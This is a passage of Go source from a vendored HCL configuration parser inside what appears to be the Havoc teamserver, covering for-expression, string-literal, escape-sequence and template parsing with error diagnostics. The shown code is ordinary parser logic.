&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "For expression requires the 'in' keyword after its name declarations.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } p.Read() // eat 'in' keyword collExpr, collDiags := p.ParseExpression() diags = append(diags, collDiags...) if p.recovery && collDiags.HasErrors() { close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } if p.Peek().Type != TokenColon { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "For expression requires a colon after the collection expression.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } p.Read() // eat colon var keyExpr, valExpr Expression var keyDiags, valDiags hcl.Diagnostics valExpr, valDiags = p.ParseExpression() if p.Peek().Type == TokenFatArrow { // What we just parsed was actually keyExpr p.Read() // eat the fat arrow keyExpr, keyDiags = valExpr, valDiags valExpr, valDiags = p.ParseExpression() } diags = append(diags, keyDiags...) diags = append(diags, valDiags...) if p.recovery && (keyDiags.HasErrors() || valDiags.HasErrors()) { close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } group := false var ellipsis Token if p.Peek().Type == TokenEllipsis { ellipsis = p.Read() group = true } var condExpr Expression var condDiags hcl.Diagnostics if ifKeyword.TokenMatches(p.Peek()) { p.Read() // eat "if" condExpr, condDiags = p.ParseExpression() diags = append(diags, condDiags...) if p.recovery && condDiags.HasErrors() { close := p.recover(p.oppositeBracket(open.Type)) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } } var close Token if p.Peek().Type == closeType { close = p.Read() } else { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "Extra characters after the end of the 'for' expression.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close = p.recover(closeType) } if !makeObj { if keyExpr != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "Key expression is not valid when building a tuple.", Subject: keyExpr.Range().Ptr(), Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } if group { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "Grouping ellipsis (...) cannot be used when building a tuple.", Subject: &ellipsis.Range, Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } } else { if keyExpr == nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "Key expression is required when building an object.", Subject: valExpr.Range().Ptr(), Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } } return &ForExpr{ KeyVar: keyName, ValVar: valName, CollExpr: collExpr, KeyExpr: keyExpr, ValExpr: valExpr, CondExpr: condExpr, Group: group, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, CloseRange: close.Range, }, diags } // parseQuotedStringLiteral is a helper for parsing quoted strings that // aren't allowed to contain any interpolations, such as block labels. func (p *parser) parseQuotedStringLiteral() (string, hcl.Range, hcl.Diagnostics) { oQuote := p.Read() if oQuote.Type != TokenOQuote { return "", oQuote.Range, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid string literal", Detail: "A quoted string is required here.", Subject: &oQuote.Range, }, } } var diags hcl.Diagnostics ret := &bytes.Buffer{} var endRange hcl.Range Token: for { tok := p.Read() switch tok.Type { case TokenCQuote: endRange = tok.Range break Token case TokenQuotedLit: s, sDiags := ParseStringLiteralToken(tok) diags = append(diags, sDiags...) ret.WriteString(s) case TokenTemplateControl, TokenTemplateInterp: which := "$" if tok.Type == TokenTemplateControl { which = "%" } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid string literal", Detail: fmt.Sprintf( "Template sequences are not allowed in this string. To include a literal %q, double it (as \"%s%s\") to escape it.", which, which, which, ), Subject: &tok.Range, Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(), }) // Now that we're returning an error callers won't attempt to use // the result for any real operations, but they might try to use // the partial AST for other analyses, so we'll leave a marker // to indicate that there was something invalid in the string to // help avoid misinterpretation of the partial result ret.WriteString(which) ret.WriteString("{ ... }") p.recover(TokenTemplateSeqEnd) // we'll try to keep parsing after the sequence ends case TokenEOF: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unterminated string literal", Detail: "Unable to find the closing quote mark before the end of the file.", Subject: &tok.Range, Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(), }) endRange = tok.Range break Token default: // Should never happen, as long as the scanner is behaving itself diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid string literal", Detail: "This item is not valid in a string literal.", Subject: &tok.Range, Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(), }) p.recover(TokenCQuote) endRange = tok.Range break Token } } return ret.String(), hcl.RangeBetween(oQuote.Range, endRange), diags } // ParseStringLiteralToken processes the given token, which must be either a // TokenQuotedLit or a TokenStringLit, returning the string resulting from // resolving any escape sequences. // // If any error diagnostics are returned, the returned string may be incomplete // or otherwise invalid. func ParseStringLiteralToken(tok Token) (string, hcl.Diagnostics) { var quoted bool switch tok.Type { case TokenQuotedLit: quoted = true case TokenStringLit: quoted = false default: panic("ParseStringLiteralToken can only be used with TokenStringLit and TokenQuotedLit tokens") } var diags hcl.Diagnostics ret := make([]byte, 0, len(tok.Bytes)) slices := scanStringLit(tok.Bytes, quoted) // We will mutate rng constantly as we walk through our token slices below. // Any diagnostics must take a copy of this rng rather than simply pointing // to it, e.g. by using rng.Ptr() rather than &rng. rng := tok.Range rng.End = rng.Start Slices: for _, slice := range slices { if len(slice) == 0 { continue } // Advance the start of our range to where the previous token ended rng.Start = rng.End // Advance the end of our range to after our token. b := slice for len(b) > 0 { adv, ch, _ := textseg.ScanGraphemeClusters(b, true) rng.End.Byte += adv switch ch[0] { case '\r', '\n': rng.End.Line++ rng.End.Column = 1 default: rng.End.Column++ } b = b[adv:] } TokenType: switch slice[0] { case '\\': if !quoted { // If we're not in quoted mode then just treat this token as // normal. (Slices can still start with backslash even if we're // not specifically looking for backslash sequences.) break TokenType } if len(slice) < 2 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: "Backslash must be followed by an escape sequence selector character.", Subject: rng.Ptr(), }) break TokenType } switch slice[1] { case 'n': ret = append(ret, '\n') continue Slices case 'r': ret = append(ret, '\r') continue Slices case 't': ret = append(ret, '\t') continue Slices case '"': ret = append(ret, '"') continue Slices case '\\': ret = append(ret, '\\') continue Slices case 'x': var bt, _ = hex.DecodeString(string(slice[2:])) ret = append(ret, bt...) continue Slices case 'u', 'U': if slice[1] == 'u' && len(slice) != 6 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: "The \\u escape sequence must be followed by four hexadecimal digits.", Subject: rng.Ptr(), }) break TokenType } else if slice[1] == 'U' && len(slice) != 10 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: "The \\U escape sequence must be followed by eight hexadecimal digits.", Subject: rng.Ptr(), }) break TokenType } numHex := string(slice[2:]) num, err := strconv.ParseUint(numHex, 16, 32) if err != nil { // Should never happen because the scanner won't match // a sequence of digits that isn't valid. panic(err) } r := rune(num) l := utf8.RuneLen(r) if l == -1 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: fmt.Sprintf("Cannot encode character U+%04x in UTF-8.", num), Subject: rng.Ptr(), }) break TokenType } for i := 0; i < l; i++ { ret = append(ret, 0) } rb := ret[len(ret)-l:] utf8.EncodeRune(rb, r) continue Slices default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: fmt.Sprintf("The symbol %q is not a valid escape sequence selector.", slice[1:]), Subject: rng.Ptr(), }) ret = append(ret, slice[1:]...) continue Slices } case '$', '%': if len(slice) != 3 { // Not long enough to be our escape sequence, so it's literal. break TokenType } if slice[1] == slice[0] && slice[2] == '{' { ret = append(ret, slice[0]) ret = append(ret, '{') continue Slices } break TokenType } // If we fall out here or break out of here from the switch above // then this slice is just a literal. ret = append(ret, slice...) } return string(ret), diags } // setRecovery turns on recovery mode without actually doing any recovery. // This can be used when a parser knowingly leaves the peeker in a useless // place and wants to suppress errors that might result from that decision. func (p *parser) setRecovery() { p.recovery = true } // recover seeks forward in the token stream until it finds TokenType "end", // then returns with the peeker pointed at the following token. // // If the given token type is a bracketer, this function will additionally // count nested instances of the brackets to try to leave the peeker at // the end of the _current_ instance of that bracketer, skipping over any // nested instances. This is a best-effort operation and may have // unpredictable results on input with bad bracketer nesting. func (p *parser) recover(end TokenType) Token { start := p.oppositeBracket(end) p.recovery = true nest := 0 for { tok := p.Read() ty := tok.Type if end == TokenTemplateSeqEnd && ty == TokenTemplateControl { // normalize so that our matching behavior can work, since // TokenTemplateControl/TokenTemplateInterp are asymmetrical // with TokenTemplateSeqEnd and thus we need to count both // openers if that's the closer we're looking for. ty = TokenTemplateInterp } switch ty { case start: nest++ case end: if nest < 1 { return tok } nest-- case TokenEOF: return tok } } } // recoverOver seeks forward in the token stream until it finds a block // starting with TokenType "start", then finds the corresponding end token, // leaving the peeker pointed at the token after that end token. // // The given token type _must_ be a bracketer. For example, if the given // start token is TokenOBrace then the parser will be left at the _end_ of // the next brace-delimited block encountered, or at EOF if no such block // is found or it is unclosed. func (p *parser) recoverOver(start TokenType) { end := p.oppositeBracket(start) // find the opening bracket first Token: for { tok := p.Read() switch tok.Type { case start, TokenEOF: break Token } } // Now use our existing recover function to locate the _end_ of the // container we've found. p.recover(end) } func (p *parser) recoverAfterBodyItem() { p.recovery = true var open []TokenType Token: for { tok := p.Read() switch tok.Type { case TokenNewline: if len(open) == 0 { break Token } case TokenEOF: break Token case TokenOBrace, TokenOBrack, TokenOParen, TokenOQuote, TokenOHeredoc, TokenTemplateInterp, TokenTemplateControl: open = append(open, tok.Type) case TokenCBrace, TokenCBrack, TokenCParen, TokenCQuote, TokenCHeredoc: opener := p.oppositeBracket(tok.Type) for len(open) > 0 && open[len(open)-1] != opener { open = open[:len(open)-1] } if len(open) > 0 { open = open[:len(open)-1] } case TokenTemplateSeqEnd: for len(open) > 0 && open[len(open)-1] != TokenTemplateInterp && open[len(open)-1] != TokenTemplateControl { open = open[:len(open)-1] } if len(open) > 0 { open = open[:len(open)-1] } } } } // oppositeBracket finds the bracket that opposes the given bracketer, or // NilToken if the given token isn't a bracketer. // // "Bracketer", for the sake of this function, is one end of a matching // open/close set of tokens that establish a bracketing context. func (p *parser) oppositeBracket(ty TokenType) TokenType { switch ty { case TokenOBrace: return TokenCBrace case TokenOBrack: return TokenCBrack case TokenOParen: return TokenCParen case TokenOQuote: return TokenCQuote case TokenOHeredoc: return TokenCHeredoc case TokenCBrace: return TokenOBrace case TokenCBrack: return TokenOBrack case TokenCParen: return TokenOParen case TokenCQuote: return TokenOQuote case TokenCHeredoc: return TokenOHeredoc case TokenTemplateControl: return TokenTemplateSeqEnd case TokenTemplateInterp: return TokenTemplateSeqEnd case TokenTemplateSeqEnd: // This is ambiguous, but we return Interp here because that's // what's assumed by the "recover" method. return TokenTemplateInterp default: return TokenNil } } func errPlaceholderExpr(rng hcl.Range) Expression { return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: rng, } } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/parser_template.go ================================================ package hclsyntax import ( "fmt" "strings" "unicode" "github.com/apparentlymart/go-textseg/v13/textseg" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func (p *parser) ParseTemplate() (Expression, hcl.Diagnostics) { return p.parseTemplate(TokenEOF, false) } func (p *parser) parseTemplate(end TokenType, flushHeredoc bool) (Expression, hcl.Diagnostics) { exprs, passthru, rng, diags := p.parseTemplateInner(end, flushHeredoc) if passthru { if len(exprs) != 1 { panic("passthru set with len(exprs) != 1") } return &TemplateWrapExpr{ Wrapped: exprs[0], SrcRange: rng, }, diags } return &TemplateExpr{ Parts: exprs, SrcRange: rng, }, diags } func (p *parser) parseTemplateInner(end TokenType, flushHeredoc bool) ([]Expression, bool, hcl.Range, hcl.Diagnostics) { parts, diags := p.parseTemplateParts(end) if flushHeredoc { flushHeredocTemplateParts(parts) // Trim off leading spaces on lines per the flush heredoc spec } tp := templateParser{ Tokens: parts.Tokens, SrcRange: parts.SrcRange, } exprs, exprsDiags := tp.parseRoot() diags = append(diags, exprsDiags...) passthru := false if len(parts.Tokens) == 2 { // one real token and one synthetic "end" token if _, isInterp := parts.Tokens[0].(*templateInterpToken); isInterp { passthru = true } } return exprs, passthru, parts.SrcRange, diags } type templateParser struct { Tokens []templateToken SrcRange hcl.Range pos int } func (p *templateParser) parseRoot() ([]Expression, hcl.Diagnostics) { var exprs []Expression var diags hcl.Diagnostics for { next := p.Peek() if _, isEnd := next.(*templateEndToken); isEnd { break } expr, exprDiags := p.parseExpr() diags = append(diags, exprDiags...) exprs = append(exprs, expr) } return exprs, diags } func (p *templateParser) parseExpr() (Expression, hcl.Diagnostics) { next := p.Peek() switch tok := next.(type) { case *templateLiteralToken: p.Read() // eat literal return &LiteralValueExpr{ Val: cty.StringVal(tok.Val), SrcRange: tok.SrcRange, }, nil case *templateInterpToken: p.Read() // eat interp return tok.Expr, nil case *templateIfToken: return p.parseIf() case *templateForToken: return p.parseFor() case *templateEndToken: p.Read() // eat erroneous token return errPlaceholderExpr(tok.SrcRange), hcl.Diagnostics{ { // This is a particularly unhelpful diagnostic, so callers // should attempt to pre-empt it and produce a more helpful // diagnostic that is context-aware. Severity: hcl.DiagError, Summary: "Unexpected end of template", Detail: "The control directives within this template are unbalanced.", Subject: &tok.SrcRange, }, } case *templateEndCtrlToken: p.Read() // eat erroneous token return errPlaceholderExpr(tok.SrcRange), hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: fmt.Sprintf("Unexpected %s directive", tok.Name()), Detail: "The control directives within this template are unbalanced.", Subject: &tok.SrcRange, }, } default: // should never happen, because above should be exhaustive panic(fmt.Sprintf("unhandled template token type %T", next)) } } func (p *templateParser) parseIf() (Expression, hcl.Diagnostics) { open := p.Read() openIf, isIf := open.(*templateIfToken) if !isIf { // should never happen if caller is behaving panic("parseIf called with peeker not pointing at if token") } var ifExprs, elseExprs []Expression var diags hcl.Diagnostics var endifRange hcl.Range currentExprs := &ifExprs Token: for { next := p.Peek() if end, isEnd := next.(*templateEndToken); isEnd { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unexpected end of template", Detail: fmt.Sprintf( "The if directive at %s is missing its corresponding endif directive.", openIf.SrcRange, ), Subject: &end.SrcRange, }) return errPlaceholderExpr(end.SrcRange), diags } if end, isCtrlEnd := next.(*templateEndCtrlToken); isCtrlEnd { p.Read() // eat end directive switch end.Type { case templateElse: if currentExprs == &ifExprs { currentExprs = &elseExprs continue Token } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unexpected else directive", Detail: fmt.Sprintf( "Already in the else clause for the if started at %s.", openIf.SrcRange, ), Subject: &end.SrcRange, }) case templateEndIf: endifRange = end.SrcRange break Token default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Unexpected %s directive", end.Name()), Detail: fmt.Sprintf( "Expecting an endif directive for the if started at %s.", openIf.SrcRange, ), Subject: &end.SrcRange, }) } return errPlaceholderExpr(end.SrcRange), diags } expr, exprDiags := p.parseExpr() diags = append(diags, exprDiags...) *currentExprs = append(*currentExprs, expr) } if len(ifExprs) == 0 { ifExprs = append(ifExprs, &LiteralValueExpr{ Val: cty.StringVal(""), SrcRange: hcl.Range{ Filename: openIf.SrcRange.Filename, Start: openIf.SrcRange.End, End: openIf.SrcRange.End, }, }) } if len(elseExprs) == 0 { elseExprs = append(elseExprs, &LiteralValueExpr{ Val: cty.StringVal(""), SrcRange: hcl.Range{ Filename: endifRange.Filename, Start: endifRange.Start, End: endifRange.Start, }, }) } trueExpr := &TemplateExpr{ Parts: ifExprs, SrcRange: hcl.RangeBetween(ifExprs[0].Range(), ifExprs[len(ifExprs)-1].Range()), } falseExpr := &TemplateExpr{ Parts: elseExprs, SrcRange: hcl.RangeBetween(elseExprs[0].Range(), elseExprs[len(elseExprs)-1].Range()), } return &ConditionalExpr{ Condition: openIf.CondExpr, TrueResult: trueExpr, FalseResult: falseExpr, SrcRange: hcl.RangeBetween(openIf.SrcRange, endifRange), }, diags } func (p *templateParser) parseFor() (Expression, hcl.Diagnostics) { open := p.Read() openFor, isFor := open.(*templateForToken) if !isFor { // should never happen if caller is behaving panic("parseFor called with peeker not pointing at for token") } var contentExprs []Expression var diags hcl.Diagnostics var endforRange hcl.Range Token: for { next := p.Peek() if end, isEnd := next.(*templateEndToken); isEnd { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unexpected end of template", Detail: fmt.Sprintf( "The for directive at %s is missing its corresponding endfor directive.", openFor.SrcRange, ), Subject: &end.SrcRange, }) return errPlaceholderExpr(end.SrcRange), diags } if end, isCtrlEnd := next.(*templateEndCtrlToken); isCtrlEnd { p.Read() // eat end directive switch end.Type { case templateElse: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unexpected else directive", Detail: "An else clause is not expected for a for directive.", Subject: &end.SrcRange, }) case templateEndFor: endforRange = end.SrcRange break Token default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Unexpected %s directive", end.Name()), Detail: fmt.Sprintf( "Expecting an endfor directive corresponding to the for directive at %s.", openFor.SrcRange, ), Subject: &end.SrcRange, }) } return errPlaceholderExpr(end.SrcRange), diags } expr, exprDiags := p.parseExpr() diags = append(diags, exprDiags...) contentExprs = append(contentExprs, expr) } if len(contentExprs) == 0 { contentExprs = append(contentExprs, &LiteralValueExpr{ Val: cty.StringVal(""), SrcRange: hcl.Range{ Filename: openFor.SrcRange.Filename, Start: openFor.SrcRange.End, End: openFor.SrcRange.End, }, }) } contentExpr := &TemplateExpr{ Parts: contentExprs, SrcRange: hcl.RangeBetween(contentExprs[0].Range(), contentExprs[len(contentExprs)-1].Range()), } forExpr := &ForExpr{ KeyVar: openFor.KeyVar, ValVar: openFor.ValVar, CollExpr: openFor.CollExpr, ValExpr: contentExpr, SrcRange: hcl.RangeBetween(openFor.SrcRange, endforRange), OpenRange: openFor.SrcRange, CloseRange: endforRange, } return &TemplateJoinExpr{ Tuple: forExpr, }, diags } func (p *templateParser) Peek() templateToken { return p.Tokens[p.pos] } func (p *templateParser) Read() templateToken { ret := p.Peek() if _, end := ret.(*templateEndToken); !end { p.pos++ } return ret } // parseTemplateParts produces a flat sequence of "template tokens", which are // either literal values (with any "trimming" already applied), interpolation // sequences, or control flow markers. // // A further pass is required on the result to turn it into an AST. func (p *parser) parseTemplateParts(end TokenType) (*templateParts, hcl.Diagnostics) { var parts []templateToken var diags hcl.Diagnostics startRange := p.NextRange() ltrimNext := false nextCanTrimPrev := false var endRange hcl.Range Token: for { next := p.Read() if next.Type == end { // all done! endRange = next.Range break } ltrim := ltrimNext ltrimNext = false canTrimPrev := nextCanTrimPrev nextCanTrimPrev = false switch next.Type { case TokenStringLit, TokenQuotedLit: str, strDiags := ParseStringLiteralToken(next) diags = append(diags, strDiags...) if ltrim { str = strings.TrimLeftFunc(str, unicode.IsSpace) } parts = append(parts, &templateLiteralToken{ Val: str, SrcRange: next.Range, }) nextCanTrimPrev = true case TokenTemplateInterp: // if the opener is ${~ then we want to eat any trailing whitespace // in the preceding literal token, assuming it is indeed a literal // token. if canTrimPrev && len(next.Bytes) == 3 && next.Bytes[2] == '~' && len(parts) > 0 { prevExpr := parts[len(parts)-1] if lexpr, ok := prevExpr.(*templateLiteralToken); ok { lexpr.Val = strings.TrimRightFunc(lexpr.Val, unicode.IsSpace) } } p.PushIncludeNewlines(false) expr, exprDiags := p.ParseExpression() diags = append(diags, exprDiags...) close := p.Peek() if close.Type != TokenTemplateSeqEnd { if !p.recovery { switch close.Type { case TokenColon: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extra characters after interpolation expression", Detail: "Template interpolation doesn't expect a colon at this location. Did you intend this to be a literal sequence to be processed as part of another language? If so, you can escape it by starting with \"$${\" instead of just \"${\".", Subject: &close.Range, Context: hcl.RangeBetween(startRange, close.Range).Ptr(), }) default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extra characters after interpolation expression", Detail: "Expected a closing brace to end the interpolation expression, but found extra characters.\n\nThis can happen when you include interpolation syntax for another language, such as shell scripting, but forget to escape the interpolation start token. If this is an embedded sequence for another language, escape it by starting with \"$${\" instead of just \"${\".", Subject: &close.Range, Context: hcl.RangeBetween(startRange, close.Range).Ptr(), }) } } p.recover(TokenTemplateSeqEnd) } else { p.Read() // eat closing brace // If the closer is ~} then we want to eat any leading // whitespace on the next token, if it turns out to be a // literal token. if len(close.Bytes) == 2 && close.Bytes[0] == '~' { ltrimNext = true } } p.PopIncludeNewlines() parts = append(parts, &templateInterpToken{ Expr: expr, SrcRange: hcl.RangeBetween(next.Range, close.Range), }) case TokenTemplateControl: // if the opener is %{~ then we want to eat any trailing whitespace // in the preceding literal token, assuming it is indeed a literal // token. if canTrimPrev && len(next.Bytes) == 3 && next.Bytes[2] == '~' && len(parts) > 0 { prevExpr := parts[len(parts)-1] if lexpr, ok := prevExpr.(*templateLiteralToken); ok { lexpr.Val = strings.TrimRightFunc(lexpr.Val, unicode.IsSpace) } } p.PushIncludeNewlines(false) kw := p.Peek() if kw.Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template directive", Detail: "A template directive keyword (\"if\", \"for\", etc) is expected at the beginning of a %{ sequence.", Subject: &kw.Range, Context: hcl.RangeBetween(next.Range, kw.Range).Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } p.Read() // eat keyword token switch { case ifKeyword.TokenMatches(kw): condExpr, exprDiags := p.ParseExpression() diags = append(diags, exprDiags...) parts = append(parts, &templateIfToken{ CondExpr: condExpr, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) case elseKeyword.TokenMatches(kw): parts = append(parts, &templateEndCtrlToken{ Type: templateElse, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) case endifKeyword.TokenMatches(kw): parts = append(parts, &templateEndCtrlToken{ Type: templateEndIf, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) case forKeyword.TokenMatches(kw): var keyName, valName string if p.Peek().Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' directive", Detail: "For directive requires variable name after 'for'.", Subject: p.Peek().Range.Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } valName = string(p.Read().Bytes) if p.Peek().Type == TokenComma { // What we just read was actually the key, then. keyName = valName p.Read() // eat comma if p.Peek().Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' directive", Detail: "For directive requires value variable name after comma.", Subject: p.Peek().Range.Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } valName = string(p.Read().Bytes) } if !inKeyword.TokenMatches(p.Peek()) { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' directive", Detail: "For directive requires 'in' keyword after names.", Subject: p.Peek().Range.Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } p.Read() // eat 'in' keyword collExpr, collDiags := p.ParseExpression() diags = append(diags, collDiags...) parts = append(parts, &templateForToken{ KeyVar: keyName, ValVar: valName, CollExpr: collExpr, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) case endforKeyword.TokenMatches(kw): parts = append(parts, &templateEndCtrlToken{ Type: templateEndFor, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) default: if !p.recovery { suggestions := []string{"if", "for", "else", "endif", "endfor"} given := string(kw.Bytes) suggestion := nameSuggestion(given, suggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template control keyword", Detail: fmt.Sprintf("%q is not a valid template control keyword.%s", given, suggestion), Subject: &kw.Range, Context: hcl.RangeBetween(next.Range, kw.Range).Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } close := p.Peek() if close.Type != TokenTemplateSeqEnd { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Extra characters in %s marker", kw.Bytes), Detail: "Expected a closing brace to end the sequence, but found extra characters.", Subject: &close.Range, Context: hcl.RangeBetween(startRange, close.Range).Ptr(), }) } p.recover(TokenTemplateSeqEnd) } else { p.Read() // eat closing brace // If the closer is ~} then we want to eat any leading // whitespace on the next token, if it turns out to be a // literal token. if len(close.Bytes) == 2 && close.Bytes[0] == '~' { ltrimNext = true } } p.PopIncludeNewlines() default: if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unterminated template string", Detail: "No closing marker was found for the string.", Subject: &next.Range, Context: hcl.RangeBetween(startRange, next.Range).Ptr(), }) } final := p.recover(end) endRange = final.Range break Token } } if len(parts) == 0 { // If a sequence has no content, we'll treat it as if it had an // empty string in it because that's what the user probably means // if they write "" in configuration. parts = append(parts, &templateLiteralToken{ Val: "", SrcRange: hcl.Range{ // Range is the zero-character span immediately after the // opening quote. Filename: startRange.Filename, Start: startRange.End, End: startRange.End, }, }) } // Always end with an end token, so the parser can produce diagnostics // about unclosed items with proper position information. parts = append(parts, &templateEndToken{ SrcRange: endRange, }) ret := &templateParts{ Tokens: parts, SrcRange: hcl.RangeBetween(startRange, endRange), } return ret, diags } // flushHeredocTemplateParts modifies in-place the line-leading literal strings // to apply the flush heredoc processing rule: find the line with the smallest // number of whitespace characters as prefix and then trim that number of // characters from all of the lines. // // This rule is applied to static tokens rather than to the rendered result, // so interpolating a string with leading whitespace cannot affect the chosen // prefix length. func flushHeredocTemplateParts(parts *templateParts) { if len(parts.Tokens) == 0 { // Nothing to do return } const maxInt = int((^uint(0)) >> 1) minSpaces := maxInt newline := true var adjust []*templateLiteralToken for _, ttok := range parts.Tokens { if newline { newline = false var spaces int if lit, ok := ttok.(*templateLiteralToken); ok { orig := lit.Val trimmed := strings.TrimLeftFunc(orig, unicode.IsSpace) // If a token is entirely spaces and ends with a newline // then it's a "blank line" and thus not considered for // space-prefix-counting purposes. if len(trimmed) == 0 && strings.HasSuffix(orig, "\n") { spaces = maxInt } else { spaceBytes := len(lit.Val) - len(trimmed) spaces, _ = textseg.TokenCount([]byte(orig[:spaceBytes]), textseg.ScanGraphemeClusters) adjust = append(adjust, lit) } } else if _, ok := ttok.(*templateEndToken); ok { break // don't process the end token since it never has spaces before it } if spaces < minSpaces { minSpaces = spaces } } if lit, ok := ttok.(*templateLiteralToken); ok { if strings.HasSuffix(lit.Val, "\n") { newline = true // The following token, if any, begins a new line } } } for _, lit := range adjust { // Since we want to count space _characters_ rather than space _bytes_, // we can't just do a straightforward slice operation here and instead // need to hunt for the split point with a scanner. valBytes := []byte(lit.Val) spaceByteCount := 0 for i := 0; i < minSpaces; i++ { adv, _, _ := textseg.ScanGraphemeClusters(valBytes, true) spaceByteCount += adv valBytes = valBytes[adv:] } lit.Val = lit.Val[spaceByteCount:] lit.SrcRange.Start.Column += minSpaces lit.SrcRange.Start.Byte += spaceByteCount } } type templateParts struct { Tokens []templateToken SrcRange hcl.Range } // templateToken is a higher-level token that represents a single atom within // the template language. Our template parsing first raises the raw token // stream to a sequence of templateToken, and then transforms the result into // an expression tree. type templateToken interface { templateToken() templateToken } type templateLiteralToken struct { Val string SrcRange hcl.Range isTemplateToken } type templateInterpToken struct { Expr Expression SrcRange hcl.Range isTemplateToken } type templateIfToken struct { CondExpr Expression SrcRange hcl.Range isTemplateToken } type templateForToken struct { KeyVar string // empty if ignoring key ValVar string CollExpr Expression SrcRange hcl.Range isTemplateToken } type templateEndCtrlType int const ( templateEndIf templateEndCtrlType = iota templateElse templateEndFor ) type templateEndCtrlToken struct { Type templateEndCtrlType SrcRange hcl.Range isTemplateToken } func (t *templateEndCtrlToken) Name() string { switch t.Type { case templateEndIf: return "endif" case templateElse: return "else" case templateEndFor: return "endfor" default: // should never happen panic("invalid templateEndCtrlType") } } type templateEndToken struct { SrcRange hcl.Range isTemplateToken } type isTemplateToken [0]int func (t isTemplateToken) templateToken() templateToken { return t } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/parser_traversal.go ================================================ package hclsyntax import ( "Havoc/pkg/profile/yaotl" 